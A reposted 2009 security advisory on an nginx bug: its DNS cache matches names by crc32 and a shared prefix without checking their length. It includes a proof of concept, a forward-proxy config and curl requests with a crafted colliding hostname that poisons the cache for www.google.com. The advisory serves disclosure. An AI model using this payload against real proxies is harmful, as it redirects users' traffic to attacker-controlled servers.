nginx internal DNS cache poisoning-阿里云开发者社区

nginx internal DNS cache poisoning

2009-09-18 869

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

本文涉及的产品

公共DNS（含HTTPDNS解析），每月1000万次HTTP解析

全局流量管理 GTM，标准版 1个月

云解析 DNS，旗舰版 1个月

简介： nginx maintains an internal DNS cache for resolved domain names.

nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name. It does not check that the names are equal in length.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

For example, using this nginx.conf:

events {
worker_connections 1024;
}

http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}

You can then run curl to see the cache poisoning in effect:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
<html>
<body>
Ho hum, nothing to see here, move along please.
</body>
</html>

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
<html>
<body>
Oops, you shouldn't be asking me for http://www.google.com/!
</body>
</html>

(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.)

This works because crc32("www.google.com.") ==
crc32("www.google.com.9nyz309.crc32.dempsky.org."). The first request
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org,
and then the second request used this IP address instead of querying
for www.google.com's real IP address because of the matching CRCs and
the common prefix.

[1] http://marc.info/?l=nginx&m=125257590425747&w=2

nginx internal DNS cache poisoning

DNS软件服务

热门文章

最新文章

相关产品

相关课程

相关电子书

相关实验场景

推荐镜像